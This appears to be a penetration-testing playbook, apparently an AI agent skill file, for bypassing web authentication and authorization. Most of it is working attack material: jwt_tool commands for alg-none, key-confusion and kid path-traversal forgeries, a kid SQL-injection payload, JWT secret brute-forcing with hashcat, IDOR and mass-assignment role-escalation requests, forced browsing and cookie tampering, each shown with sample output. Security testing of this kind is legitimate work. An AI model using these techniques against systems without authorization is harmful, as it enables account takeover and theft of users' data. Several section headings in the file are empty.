auth-bypass

When to Use

• Testing access control on authenticated endpoints
• Looking for IDOR (Insecure Direct Object Reference) vulnerabilities
• Testing JWT token security and manipulation
• Verifying role-based access control (RBAC)
• Attempting privilege escalation from user to admin
• Testing session management vulnerabilities
• User provides authenticated requests to test
• Need to verify authorization is properly enforced

Quick Start

# JWT attack - Run all tests
python3 jwt_tool.py -M at \
    -t "https://api.example.com/api/v1/user/123" \
    -rh "Authorization: Bearer eyJhbG..."

Step-by-Step Process

1. Identify Authentication Mechanism

Determine what auth is used: - JWT tokens (check for eyJ prefix) - Session cookies - API keys - OAuth tokens - Basic auth

1. Extract and Decode Tokens

``bash # Decode JWT without verification python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... ``

1. Test JWT Vulnerabilities

``bash # Run all JWT attacks python3 jwt_tool.py -M at \ -t "https://target.com/api/user"; \ -rh "Authorization: Bearer TOKEN" ``

1. Test IDOR Patterns

Modify object references in requests: - User IDs: /api/user/123 → /api/user/124 - UUIDs: Capture and replay other users' UUIDs - Sequential: Test id=1, id=2, id=3... - Encoded: Decode base64/hex IDs, modify, re-encode

1. Test Privilege Escalation

Manipulate role indicators: - role=user → role=admin - isAdmin=false → isAdmin=true - Add admin parameters to requests - Access admin endpoints with user session

1. Document Findings

Record successful bypasses with: - Original request/response - Modified request/response - Impact assessment

JWT Attack Techniques

Algorithm None Attack

Remove signature verification:

# Set algorithm to none
python3 jwt_tool.py TOKEN -X a

# Manual: Change header
# {"alg":"none","typ":"JWT"}
# Remove signature portion (third part after second dot)

Algorithm Confusion (RS256 → HS256)

CVE-2016-5431/CVE-2016-10555:

# Get server's public key
openssl s_client -connect target.com:443 2>&1 < /dev/null | \
    sed -n '/-----BEGIN/,/-----END/p' > cert.pem

# Extract public key
openssl x509 -pubkey -in cert.pem -noout > pubkey.pem

# Sign with public key as HMAC secret
python3 jwt_tool.py TOKEN -X k -pk pubkey.pem

Key ID (kid) Injection

Path traversal:

# Use /dev/null as key (empty string)
python3 jwt_tool.py TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""

# Use predictable file content
python3 jwt_tool.py TOKEN -I -hc kid -hv "../../proc/sys/kernel/randomize_va_space" -S hs256 -p "2"

SQL injection via kid:

kid: non-existent' UNION SELECT 'ATTACKER';-- -

JWKS Spoofing (jku/x5u)

# Generate new key pair
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt

# Host JWKS on controlled server
# Modify jku header to point to your JWKS URL
python3 jwt_tool.py TOKEN -X s

Weak Secret Brute Force

hashcat -a 0 -m 16500 jwt.txt wordlist.txt
python3 jwt_tool.py TOKEN -C -d wordlist.txt

IDOR Testing Patterns

Numeric ID Manipulation

GET /api/orders/1001 HTTP/1.1  # Original
GET /api/orders/1000 HTTP/1.1  # Other IDs
GET /api/orders/1002 HTTP/1.1

UUID Manipulation

GET /api/documents/550e8400-e29b-41d4-a716-446655440000  # Original
GET /api/documents/660e8400-e29b-41d4-a716-446655440001  # Other user's

Parameter Pollution

GET /api/profile?user_id=123&user_id=456
{"user_id": [123, 456]}

HTTP Method Tampering

POST /api/admin/users HTTP/1.1
PUT /api/admin/users HTTP/1.1
DELETE /api/admin/users HTTP/1.1

Privilege Escalation Techniques

Role Parameter Manipulation

POST /api/register HTTP/1.1
Content-Type: application/json

{"username": "test", "role": "admin", "isAdmin": true}

Forced Browsing

GET /admin HTTP/1.1
GET /api/admin/users HTTP/1.1
GET /dashboard/admin HTTP/1.1
GET /management HTTP/1.1
GET /internal/config HTTP/1.1

Cookie Manipulation

# Modify role in cookie
Cookie: session=abc123; role=admin; isStaff=1

# Base64 encoded cookies - decode, modify, re-encode
Cookie: userdata=eyJ1c2VyIjoiam9obiIsInJvbGUiOiJhZG1pbiJ9

Session Attacks

Examples

Example 1: JWT None Algorithm

Scenario: Test if server accepts unsigned JWT

Command:

python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIifQ.signature -X a

Output:

[*] Algorithm set to none
[*] New token:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIifQ.

Example 2: JWT All Attacks Mode

Scenario: Automated JWT vulnerability scan

Command:

python3 jwt_tool.py -M at \
    -t "https://api.target.com/v1/me" \
    -rh "Authorization: Bearer eyJhbG..."

Output:

[*] Running all attacks...
[+] VULNERABLE: Algorithm none accepted!
[+] VULNERABLE: Signature not verified!
[-] NOT VULNERABLE: Key confusion attack

Example 3: IDOR - User Profile

Scenario: Access another user's profile

Original Request:

GET /api/users/profile/1001 HTTP/1.1
Authorization: Bearer TOKEN

Modified Request:

GET /api/users/profile/1002 HTTP/1.1
Authorization: Bearer TOKEN

Vulnerable Response:

{
  "id": 1002,
  "email": "[email protected]",
  "name": "Jane Doe"
}

Example 4: Role Escalation via Mass Assignment

Scenario: Elevate privileges during profile update

Request:

POST /api/user/update HTTP/1.1
Content-Type: application/json
Authorization: Bearer TOKEN

{
    "name": "Attacker",
    "email": "[email protected]",
    "role": "admin",
    "isAdmin": true
}

Example 5: JWT Secret Brute Force

Command:

hashcat -a 0 -m 16500 "eyJhbG...TOKEN..." /usr/share/wordlists/rockyou.txt

Output:

eyJhbG...TOKEN...:secret123
Status...........: Cracked

Example 6: Forced Browsing to Admin Panel

Request:

GET /api/admin/users HTTP/1.1
Cookie: session=regular-user-session

Vulnerable Response:

{
  "users": [
    { "id": 1, "email": "[email protected]", "role": "admin" },
    { "id": 2, "email": "[email protected]", "role": "user" }
  ]
}

Example 7: kid Path Traversal

Scenario: Use predictable file as signing key

Command:

python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsImtpZCI6ImtleXMva2V5MSJ9... \
    -I -hc kid -hv "../../../dev/null" \
    -S hs256 -p ""

Output:

[+] New token with kid pointing to /dev/null:
eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uLy4uLy4uL2Rldi9udWxsIn0...

Example 8: HTTP Method Override

Scenario: Bypass method-based access control

Request:

POST /api/admin/delete-user HTTP/1.1
X-HTTP-Method-Override: DELETE
X-Method-Override: DELETE
X-HTTP-Method: DELETE
Content-Type: application/json

{"user_id": 123}

Example 9: Array ID Injection

Scenario: Access multiple resources in one request

Request:

POST /api/orders/export HTTP/1.1
Content-Type: application/json

{
    "order_ids": [1001, 1002, 1003, 2001, 2002]
}

Example 10: Cookie-Based Role Bypass

Scenario: Manipulate decoded cookie value

Original Cookie:

userdata=eyJ1c2VyIjoiYm9iIiwicm9sZSI6InVzZXIifQ==
# Decoded: {"user":"bob","role":"user"}

Modified Cookie:

userdata=eyJ1c2VyIjoiYm9iIiwicm9sZSI6ImFkbWluIn0=
# Decoded: {"user":"bob","role":"admin"}

jwt_tool Command Reference

Common IDOR Endpoints

Error Handling

Best Practices

1. Always Test Multiple Vectors - IDOR, JWT, session, roles
2. Chain Vulnerabilities - IDOR + privilege escalation
3. Test All HTTP Methods - GET, POST, PUT, DELETE, PATCH
4. Check Response Differences - Status codes, timing, content
5. Document Everything - Before/after requests
6. Test Edge Cases - Negative IDs, special characters
7. Verify Actual Impact - Confirm data access/modification

Authorization Testing Checklist

• Test horizontal privilege escalation (user A → user B)
• Test vertical privilege escalation (user → admin)
• Test JWT signature verification
• Test JWT algorithm manipulation
• Test IDOR on all object references
• Test forced browsing to admin endpoints
• Test parameter-based access control
• Test HTTP method restrictions
• Test cookie/session manipulation
• Test role parameter injection

References

• OWASP Broken Access Control
• jwttool GitHub
• jwttool Wiki
• HackTricks JWT
• OWASP JWT Cheat Sheet
• OWASP Testing Guide - Authorization